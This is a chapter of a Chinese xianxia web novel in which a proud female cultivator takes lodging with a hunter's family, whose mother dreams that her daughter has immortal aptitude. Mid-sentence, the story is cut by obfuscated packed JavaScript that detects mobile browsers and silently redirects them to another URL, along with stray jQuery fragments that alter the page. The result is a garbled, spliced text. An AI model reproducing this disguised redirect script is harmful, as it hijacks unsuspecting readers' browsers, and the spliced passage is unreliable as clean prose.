温琼枝的目光,最终落在了那间看似平常的凡人木屋上。
她收起寒春,走到院门前轻轻叩响了门扉。
“笃、笃、笃。”
声音不大,在寂静的山间却格外清晰。
没过多久,伴随着“吱呀”一声,木门被拉开一道缝隙,露出一张带着山野劳作痕迹、却难掩清秀温婉的脸庞。
年轻的妇人看向门外,随后呆了呆,如坠梦中般喃喃道:“仙、仙人?”
她虽是凡人,但也听说过世间有修仙者存在,这些人隐居世外,从不轻易露面,只有游历四方,偶尔路经凡尘时,才会教他们这些凡夫俗子有幸得见些许踪迹。而眼前这位女子气质清冷,衣袂飘飘,皮肤发丝容貌无一不美,举手投足间自有一股超凡脱俗的风韵,绝不是凡尘中能有的人物。
被称呼为仙人,温琼枝面上不显,心里却十分受用,心道虽只是无知蝼蚁,但眼力见还是有几分的。
她嘴角勾起一抹孤傲的笑意,淡淡道:“我云游四方时偶然路过此地,见这里风景清幽,十分适合静修,故而想着暂且借住几日,不知可否叨扰?”
“仙子若是看得上我们这穷乡僻壤,自是求之不得。”妇人慌忙将门打开,从少有的几次看庙戏的记忆中模仿着行了个粗糙的礼,“只是我们家中简陋,怕是招待不周,还望见谅。”
温琼枝点点头,随后便在妇人诚惶诚恐地迎接下走进了院门,目光毫不避讳地四处打量着。
“你一个人住?”她问道。
“不,不是。”年轻妇人拘谨地回答道,手指下意识地绞着衣角,“家中男人白天进山打猎去了,我便在家种菜做饭,带带孩子。”
温琼枝也看见了院子篱笆上挂着的几只野兔,显然是妇人那猎户丈夫猎回来的。
恰在这时,一声清脆的“娘!”从院外传了进来。
温琼枝抬眼看过去之前便已用神识探查到了来人,正是这妇人口中的孩子。
而果然,随着那声呼唤的尾音落下,一个约莫五、六岁的小女孩跑进了院门,身后还跟着只土狗。
不过不知是不是动物天生便比人更能感知到威胁,此时的土狗虽然正亦步亦趋地跟在小主人身旁,却夹着尾巴,显然易见地有些不安躁动。
对此一无所觉的女孩脸上洋溢着天真烂漫的笑容,手里举着一把乱七八糟的野草野花,蹬蹬蹬地跑进来后便想对妇人说些什么,结果却看见家里多了个扎眼的奇异客人。
她从未见过这样美丽的人,一时间竟张着嘴巴忘记了说话,呆呆地站在原地。
年轻妇人注意到女儿的呆愣,连忙轻轻拍了拍她的肩膀,提醒道:“阿芜,这是来我们家暂住的仙人,就是戏文里会腾云驾雾、呼风唤雨的那种,快见过仙子。”
然后又看向温琼枝,不好意思地笑了笑:“仙子,这是我女儿,叫阿芜,野丫头一个,让您见笑了。”
听见娘亲的话,阿芜这才回过神来。
“仙、仙子好……”
她小声问候了一声,随即便害羞地将手中的野草藏起来,躲到了母亲的身后,然后又偷偷探出半个头,用好奇且敬畏的眼神打量着温琼枝。
温琼枝瞧了她一眼,神识同时悄无声息地将这小小女童给从头到尾探查了个遍,却并未感觉出什么特异,便不感兴趣地“嗯”了一声,随后径自走进了一家三口居住的木屋,继续观察起来。
年轻妇人望着她的背影,只觉得这位仙子整个人都笼罩在一层淡淡的灵光中,举手投足间带着令人心折的仙韵,教人不敢直视的同时又忍不住心向往之。
年轻妇人望着温琼枝飘然进屋的背影,那飘逸的衣袂在简陋的屋门处一闪,便融入了屋内的微暗,只留下院中依旧弥漫的、不属于这凡俗农家的清冷气息。她下意识地搂紧了藏在身侧的女儿,隔着单薄衣衫,掌心下是孩子温热的、充满生机的躯体。
一个念头在此时不受控制地从她心底长了出来——
仙缘……
这两个字像春日里最顽强的野草,在她脑海里茁壮扎下根来。
妇人想,他们这些普通人穷极一生可能也无法得见仙人一面,但今日,这位仙子竟自己从天而降,还说要在他们家借住一段时日。
这便是他们家上辈子甚至上上辈子修来的福气啊!
而且……她刚才是不是看了阿芜一眼?
妇人抱着期待揣测道。
她想那绝不只是随意看看,仙子一定是用了什么她无法理解的法子在探查,就像……就像故事里说的,仙人会看根骨,看看这人有没有福气、有没有资质踏上那通天大道!
那阿芜她……
妇人的心跳快了起来,她忍不住细细端详起躲在自己身后、只露出半张脸、还在偷偷张望的女儿:阿芜打小就生的好,见过她的人都说这孩子长得不像乡下的娃,倒像是那些大户人家的漂亮小姐。而且阿芜皮实得很,从会走路开始就漫山遍野地跑,摔个跟头拍拍灰就爬起来,从来没生过大病……
她默默细数了一圈自家孩子的优点,脑中又飞快地闪过道听途说来的各种传说碎片:樵夫救下受伤的仙鹤得授仙法,放牛娃被路过的老神仙点化……那些故事的主角,不也都是像她们这样最最普通的人家吗?万一呢?
——万一这丫头就有那么一丝丝的可能呢?
妇人咽了口口水,一股难以言喻的渴望瞬间攫住了她。那不仅仅是望女成凤的期许,更像是在井底上挣扎半生的蛙,骤然窥见了一条通往更广阔天地的金光大道。而这条道,足以将她的女儿,将他们这世代困于凡尘的命运,彻底扭转。
妇人甚至想象出了画面:仙子清冷的面容露出一丝难得的赞许,声音如同玉磬轻鸣:“此女颇有仙缘,可堪造就。我欲收她为徒,引她踏上仙途,你可舍得?”
舍得?怎么会不舍得!
妇人几乎在心底呐喊出声。
若她的阿芜真能穿上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929329|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仙子那样不染尘埃的衣裳,餐风饮露,长生久视……让她立刻舍了这身皮肉她都愿意!
这隐秘而狂热的期待是如此汹涌,以至于妇人的手指不自觉地用力,捏得阿芜小小的肩膀都有些发疼。
女孩不安地扭动了一下,妇人这才猛地惊觉,慌忙松了力道。她紧张地理了理自己洗得发白的粗布衣襟,又忍不住抬手,小心翼翼地替阿芜拢好跑乱了的头发,想让女儿在仙子眼中更入眼几分。
然后,妇人便眼神灼灼地盯着自家屋门,仿佛那简陋的门槛后,正孕育着女儿金光灿灿的未来。
就在这时,一阵沉稳的脚步声从院外传来。
一个身材高大、肩背猎弓、手里提着几只野兔山鸡的精壮汉子走了进来——正是这家的男主人。
年轻的猎户肩背一张磨得发亮的猎弓,一身暗色粗布短打裹着精壮的身躯,衣襟和袖口沾着在林间穿行留下的泥点和草屑。他左手提着一根草绳,上面拴着三只肥硕的野兔,皮毛油亮,兔腿还在无意识地微微抽搐;右手则倒提着一只色彩斑斓的山鸡,长长的尾羽拖在地上,沾了些尘土。
看见院子里神情紧张又带着莫名兴奋的妻子,以及依偎在妻子身旁、只探出半个小脑袋、手里还攥着蔫了花草的女儿,猎户敏锐地察觉到了家里气氛的不同。
到底是在山中打猎的人,在仔细扫过一遍自家地盘上的蛛丝马迹后,猎户便低声问道:“孩子他娘,有客人?”
妇人压着心底的期待和激动用力点了点头,小声道:“孩他爸,说出来你可能都不敢信,咱家——来了仙人呢!”
答完丈夫的话,妇人又开始盘算:家里那几只下蛋的老母鸡,不,哪怕是那头留着过年的年猪,也要立刻宰了供奉给仙子……茶水是不是太粗陋了?要不要再去村子里借点细面,给仙子烙几张精细些的饼?
但和妻子反应不同,听见这两个字,猎户第一反应便是皱起了眉。
他想起自己之前在附近各个村联合举办的庙会上见过的自称仙人的江湖道士,手里拿着块算命卜卦的幡,靠着胡说八道四处招摇撞骗。
猎户此刻便疑心自家妻女教这样的人骗了。
男人面色微沉,循着妻女的目光望向自家房门,眼神里充满了审视、探究和一种野兽般的警惕,打算将这忽悠上门的骗子给赶出去。
然而就在下一秒,将木屋内探了个够的温琼枝便走了出来。
猎户混合着各种排斥和质疑情绪的表情僵住了,眼睛瞬间瞪大——
仙、仙人!
还真是仙人!
他就像先前撞见温琼枝的自家女儿那样,一整个呆在原地,古铜色的脸上饱含了巨大的震撼与无措。
“仙……”一个模糊的、带着敬畏颤音的音节从他干涩发紧的喉咙里挤了出来,“仙子,见过仙子。”
他高大的身躯显得有些无所适从,心道原来妻女没有上当受骗。
这世上,竟真有仙人。